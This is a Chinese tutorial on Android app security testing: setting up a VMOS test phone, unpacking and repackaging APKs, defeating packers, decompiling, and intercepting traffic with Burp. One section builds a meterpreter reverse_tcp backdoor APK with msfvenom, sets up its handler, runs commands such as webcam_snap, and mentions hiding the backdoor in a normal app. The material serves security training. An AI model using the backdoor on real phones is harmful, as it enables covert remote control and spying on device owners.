安卓应用测试

一、安卓生态简介

Android 是一种基于 Linux 的自由及开放源代码的操作系统 , 主要使用于移动设备, 如智能手机和平板电脑 , 由 Google 公司和开放手机联盟领导及开发。
安卓的安全机制大概措施如下:

1- 代码安全机制 —— 代码混淆 proguard 混淆关键代码、替换命名让破坏者阅读困难,同时也可以压缩代码、优化编译后的 Java 字节码

2- 应用接入权限控制 ——AndroidMainifest 文件权限声明、权限检查机制任何应用程序 App 在使用 Android 受限制资源的时候,都需要显示向系统声明所需要的权限,只有当一个应用 App 具有相应的权限,才能在申请受限资源的时候,通过权限机制的检查并使用系统的 Binder 对象完成对系统服务的调用。

3- 应用签名机制 —— 数字证书 Android 中所有的 App 都会有一个数字证书,这就是 App 的签名,数字证书用户保护 App 的作者对其 App 的新人关系,只有拥有相同数字签名的 App,才会在升级时被认为是同一 App。而且 Android 系统不会安装没有签名的 App。

4- Linux 内核安全机制 ——Uid、访问权限控制 Android 本质是基于 Linux 内核开发的,所以 Android 同样继承了 Linux 的安全特性,比如文件访问机制,Linux 文件系统的权限控制是有 user、group、other 与读 (r)、写(w)、执行(x)的不同组合来实现的。同样,Android 也实现了这套机制,通常清空下,只有 System、root 用户才有权限访问到系统文件,而一般用户无法访问。

5- Android 虚拟机沙箱机制 —— 沙箱隔离通常情况下,不同的应用之间不能互相访问,每个 App 都有与之对应的 Uid,每个 App 也运行在单独的虚拟机中,与其他应用完全隔离。在实现安全机制的基础上,也让应用者之前能够互不影响,即使一个应用崩溃,也不会导致其他应用异常。

二、安卓生态所面临的安全问题

可以把安卓生态想象成上古时期的 XP 时代,我们担心的有哪些问题?

1- 电脑中病毒

2- 网银、网游戏信息被盗

3- 通过网络入侵服务器

而替换到现在的安卓生态,如果我们是安卓应用的开发者,或许可以问自己几个问题

1- 是否所有的用户都是可信的?

2- 是否所有的用户都拥有良好的安全意识?

三、安卓手机投屏至 kali

3.1 安装 scrcpy

如果 apt 源在收录的情况下可直接通过如下指令安装:

apt-get install scrcpy

在截稿之前最新版是 1.24,kali 源里并未包含,可下载 debain 源里面的 deb 包.链接如下:

https://mirrors.aliyun.com/kali/pool/main/

需下载的数据包清单如下:

android-sdk-platform-tools-common_28.0.2+7_all.deb
scrcpy_1.24-1_amd64.deb
scrcpy-server_1.24-1_all.deb

待下载完成后,安装相关 deb 包后,还需要修复依赖关系后再安装 adb

dpkg -i *.deb
apt-get install -f
apt-get install ad!

安卓应用测试

3.2 调整手机设置

默认情况下安卓手机需要打开开发者模式,并开启 usb 调试
一般主流手机打开方式:

-进入设置 –> 我的设备(我的手机 / 系统信息等)–> 系统版本(xxos-xx.xx.xx 非 Android 版本)
-多次点击 ” 系统版本 ” 多次后会进入“开发者模式”
-随后进入设置 –> 更多设置(辅助功能)–> 开发者选项 –>USB 调试开启
具体对应系统的开发者模式可参考百度:手机型号 / 品牌 /os 名称 + 开启开发者模式

3.3 手机投屏至电脑

在电脑终端中直接输入指令即可

scrcpy

安卓应用测试

并且可以通过鼠标操控平板。

四、打造安卓测试环境

4.1 测试方案的介绍

在过往的一段时间里,我们测试过不同种类的方案:

1. 基于 windows 的各种安卓模拟器
2. 能够兼容 kali 的 Genymotion
3. 个人的真实手机

但是总会遇到各种不同的问题,这诸如性能的问题,亦或者 X86 转换 ARM 架构的缘故,导致应用兼容性的问题。
哪至于遇到一些 APP 不支持模拟器的情况也是头大的很。
所谓最为完美的方案反而是用自己的手机,但又担心没测试出来问题,反而通讯录被偷了 ……

为此在当前版本的课程中,我们所推荐的解决方案为:vmos

安卓应用测试

官网地址:http://www.vmos.cn/product_center_vmospro.htm

安装好应用后,注册用户并下载安卓 7.1 极客版。
在启动虚拟机后,需要开启 root 及 Xposed

安卓应用测试

4.2 物理机与虚拟机的文件交互

在虚拟机中,可通过文件传输的功能进行数据交互,这玩意也没啥难的,自己点点点即可.
唯一的小技巧就是在物理手机的存储内,建个名为 AAA 的文件夹,这样容易找目录 🙂

安卓应用测试

4.3 调试 vmos

推荐安装在 vmos 的软件清单如下:

MT 管理器 — 通过 vmos 的常用工具中安装即可。
BlackDEX64、BlackDEX32 — 开源的脱壳工具
justtrustme–xposed 模块

安卓应用测试

五、安卓后门

通过如下格式语句可在 kali 中生成安卓的后门:

msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 R > shell.apk

随后将生成的 APK 木马拷贝至手机中,而后通过 vmos 的文件交换功能,进行安装。
在 kali 中执行如下的指令后,启动安卓的木马后,即可远程控制目标手机。

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost kaliIP
exploit

安卓应用测试

ifconfig
app_list
check_root
webcam_snap

当然如果站在真实攻击的角度上,可以将后门做好伪装亦或者插入正常应用中即可。
实验你会了,可有个道理你还得明白:

爱情的基石从来不该是财物,
而应该是信任与共同的价值观。

六、Apk 的结构及解包

6.1 APK 结构

Android 应用程序由松散耦合的组件组成,并使用应用程序 Manifest 绑定到一起,应用程序 Manifest 描述了每一个组件和它们之间的交互方式,还用于制定应用程序元数据、其硬件和平台要求、外部库以及必需的权限。
以下几个组件提供了应用程序的基本机构模块:

– Activity:应用程序的表示层,Activity 相当于桌面的 Form
– Service:应用程序中不可见的工作者
– Content Provider:一个可共享的持久数据存储器
– Intent:一个强大的应用程序之间的消息传递框架
– Broadcast Receiver:Intent 侦听器
– Widget:通常添加到设备主屏幕的可视化应用程序组件
– Notification:Notification 允许向用户发送信号,但却不会过分吸引他们的注意力或者打断他们当前行动

当我们在 KALI 中双击 APK 的数据包时,可看到的内容大致如下:

安卓应用测试

AndroidManifest.xml

此文件是 apk 中最重要的文件之一。它是 apk 的全局配置文件,提供了 android 系统所需要的关于该应用的必要信息

META-INF

MANIFEST.MF(摘要文件):

程序遍历 APK 包中的所有文件,对非文件夹非签名文件的文件,逐个用 SHA1 生成摘要信息,再用 Base64 进行编码。如果 APK 包的文件被修改,在 APK 安装校验时,被修改的文件与 MANIFEST.MF 的校验信息不同,程序将无法正常安装。

CERT.SF(对摘要文件的签名文件):

对于生成的 MANIFEST.MF 文件利用 SHA1-RSA 算法对开发者的私钥进行签名。在安装时只有公共密钥才能对其解密。解密之后将其与未加密的摘要信息进行比对,如果相符则文件没有被修改。

INDEX.LIST

APK 索引文件目录

CERT.RSA

保存公钥、加密算法等信息。

classes.dex

简单说就是优化后的 android 版 .exe。每个 apk 安装包里都有。相对于 PC 上的 java 虚拟机能运行 .class;
android 上的 Davlik 虚拟机能运行 .dex。

Resources.arsc

App 的资源索引表

6.2 apktool 的使用

ApkTool 的最重要的两个作用是 解包 和 打包 ;

解包 : 拿到 APK 文件 , 如果按照 zip 格式解压出来 , xml 文件都是乱码 ; APK 文件打包时 , 会将 xml 文件进行压缩转为二进制文件 , 以减小体积 ; 解包时 , 必须使用 ApkTool 解包工具 , 将二进制数据格式的 xml 文件转为 文本 xml 文件 , 才能获取刻度的 xml 文件 ;

打包 : 将使用 ApkTool 工具解包后的零散文件 , 再次打包成 APK 文件 ,
如果 APK 文件进行了加固处理 , 那么解包无法获取正确的 dex / so / 资源文件 , 无法进行重打包 ;
重打包操作 : 使用 ApkTool 工具 , 将 APK 解包 , 修改或注入 so 文件 , 然后再进行重打包 ;

安装 apktool:

apt install apktool

也可以使用官网最新包来安装

wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool -O /usr/local/bin/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.6.1.jar -O /usr/local/bin/apktool.jar
chmod +x /usr/local/bin/apktool*

使用 apktool 反编译 apk 文件的命令为:

apktool d xxx.apk -o xxx

安卓应用测试


打包成 APK 文件

apktool b xxx -o xxxx.apk

安卓应用测试

由于默认安卓系统的应用需要经过签名才能安装,为此我们需要使用 keystore 与 jarsigner
第一步 : 生成 keystore

keytool -genkey -alias farmsec.keystore -keyalg RSA -validity 2000 -keystore farmsec.keystore

使用 jarsigner 给 apk 签名

jarsigner -verbose -keystore xxx.keystore -signedjar 签名后 xxx.apk 未签名 xxx.apk xxx.keystore

例:

jarsigner -verbose -keystore farmsec.keystore -signedjar test_s.apk test.apk farmsec.keystore

jarsigner 显示无此命令可以在 JAVA_HOME 中软链接此命令到 /usr/bin 或者下载 kali 默认的 openjdk-11-jdk-headless

apt install openjdk-11-jdk-headless

生成的文件即可以在安卓上进行安装使用(因为未设置版本共存,所以需要先卸载上一个 shell.apk 才可以安装哦)。

七、安卓应用脱壳及反编译

7.1 安卓加固的简单介绍

对于加了壳的 apk,包里面会有一些符合特定特征的文件,比较简单的方式就是通过检测 apk 是否符合这些特征,当然随着各大加固平台不断的迭代,其特征也可能会不断的迭代。
我们只需要知道大概原理就可以了,常见的特征判断是判断 lib 下是否存在特定的 so 文件,比如看雪上有人总结过的:

娜迦
libchaosvmp.so , libddog.solibfdog.so

爱加密
libexec.so, libexecmain.so,ijiami.dat

梆梆
libsecexe.so, libsecmain.so,libSecShell.so

梆梆企业版
libDexHelper.so , libDexHelper-x86.so

360
libprotectClass.so, libjiagu.so
libjiagu.so, libjiagu_art.so
libjiagu.so, libjiagu_x86.so

通付盾
libegis.so,libNSaferOnly.so

网秦
libnqshield.so

百度
libbaiduprotect.so

阿里聚安全
aliprotect.dat,libsgmain.so,libsgsecuritybody.so

腾讯
libtup.so, libexec.so,libshell.so
mix.dex
lib/armeabi/mix.dex ,lib/armeabi/mixz.dex

腾讯御安全
libtosprotection.armeabi.so,
libtosprotection.armeabi-v7a.so,
libtosprotection.x86.so

网易易盾
libnesec.so
### APKProtect
libAPKProtect.so

几维安全
libkwscmm.so, libkwscr.so, libkwslinker.so

顶像科技
libx3g.so

PKID 有两个版本,最开始是只有 Windows 版本的,后来有位大佬用 Mac,觉得每次用的时候都要开虚拟机太麻烦了于是写了个 Java 版的.
Java 版的看雪论坛下载地址:

https://bbs.pediy.com/thread-225120.htm

java -jar PKID.jar

拖入需要查壳的 apk 包进行查壳

安卓应用测试


使用 MT 管理器同样可完成加固查看。

安卓应用测试

7.2 简单的脱壳反编译

7.2.1 使用 BlackDex 进行简单脱壳

BlackDex 针对一(落地加载)、二(内存加载)、三(指令抽取)代壳,摆脱对以往脱壳环境的困扰,几乎支持 5.0 以上的任何系统。并且拥有 ‘快速’、‘方便’、‘成功率高’ 的优点。一般只需要几秒钟即可完成对已安装包括未安装应用脱壳。‘未安装应用’脱壳时间主要花费在复制文件 IO 消耗上,由应用大小决定速度。已安装应用一般在数秒内即可完成脱壳。
把 BlackDex64 及 32 和超级课程表导入并安装带虚拟机
安装 APP 后启动 blackdex32,脱壳应用。

安卓应用测试

随后将文件导出至真实机后,拷贝至 kali。文件导出的路径可能位于 (内部存储设备 /Android/data/com.vmos.pro/sdcard/VMOSfiletransferstation)

hook_xxxx.dex hook

系统 api 脱壳的 dex,深度脱壳不修复

cookie_xxxx.dex

利用 dexFile cookie 脱壳的 dex,深度脱壳时会修复此 dex

使用 d2j-dex2jar 工具将 dex 文件转为 jar

d2j-dex2jar *.dex

没有 d2j-dex2jar 这个命令的同学可以执行以下命令安装

apt install dex2jar

安卓应用测试

待转换完成后,目录中会出现多个 jar 文件。

安卓应用测试


使用 jadx-gui 打开即可看到 APP 源码(应用程序 — 逆向工程 –jadx-gui)

无此命令可以执行 apt install jadx 安装

安卓应用测试
安卓应用测试

使用 jadx-gui 的导航 –> 搜索文本功能,可快速查找所需要的关键字。

SecretKeySpec、AES/CBC/PKCS5Padding、super.cn

7.2.2 使用反射大师进行简单脱壳

安装 APP 后打开 VMOS 的常用工具,搜索安装反射大师

安卓应用测试


打开反射大师,点击弹出的模块管理,在 xposed 中勾选此模块

安卓应用测试

首次安装模块需要重启虚拟机,重启后即可正常使用
单击需要脱壳的 app,点击‘选择这个软件’,再弹出的提示中点击打开

安卓应用测试
安卓应用测试

开启软件后点击中间的五芒星,选择‘当前 ACTIVITY’,点击写出 DEX,勾选修复 magic,单击确认

安卓应用测试
安卓应用测试
安卓应用测试

默认的写入路径在主目录下

安卓应用测试

把 classes.dex 导出到手机再复制到 kali,同样按照 d2j-dex2jar、jadx-gui 逻辑进行分析。

7.2.3 其他的提示

备注 1:有关硬编码的安全风险可参阅 https://zhuanlan.zhihu.com/p/24279535
备注 2:没有加固的 APP,直接当成压缩包解压,针对 dex 文件直接进行处理即可。
备注 3:通过 grep 的正则表达式的方案同样也可以完成搜索。

grep -rnE “([0-9]{1,3}[.]){3}[0-9]{1,3}” .

八、webapp 的测试

导入证书

安卓应用测试

进入常用工具搜索安装 trustme
xposed 中启用 trustme
在框架中选择软重启加载模块
burpsuite 启动并修改代理地址
手机代理指向 burpsuite

更多思考:

逆向 APP 后,可查找硬编码进行解密,也可以查找更多敏感的内容。
大批量逆向 APP 后,修改一些内容后,重新打包 APK,可以进行长期测试使用。
破解证书强校验是一个很重要的事情。

九、mobsf

MobSF 是 Mobile Security Framework 的缩写,是一个移动端应用安全问题检出的框架和工具,它适用于 Android/iOS/Windows,能够执行动态和静态的恶意软件的分析和检测。支持 Android 和 iOS 以及 Windows 移动应用,无论是二进制方式还是压缩的源代码都可以进行检测。MobSF 将数据保持在本地环境之中,所以可以不必担心应用和相关的数据被送至云端。

docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

安卓应用测试

http://127.0.0.1:8000/

上传应用,稍等一下就可查看检测结果

安卓应用测试

十、安卓应用合规

可参阅 <移动金融客户端应用软件安全管理规范>

http://www.nxhlhsb.com/uploadfile/ueditor/file/202208/1660893041bf383f.pdf

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容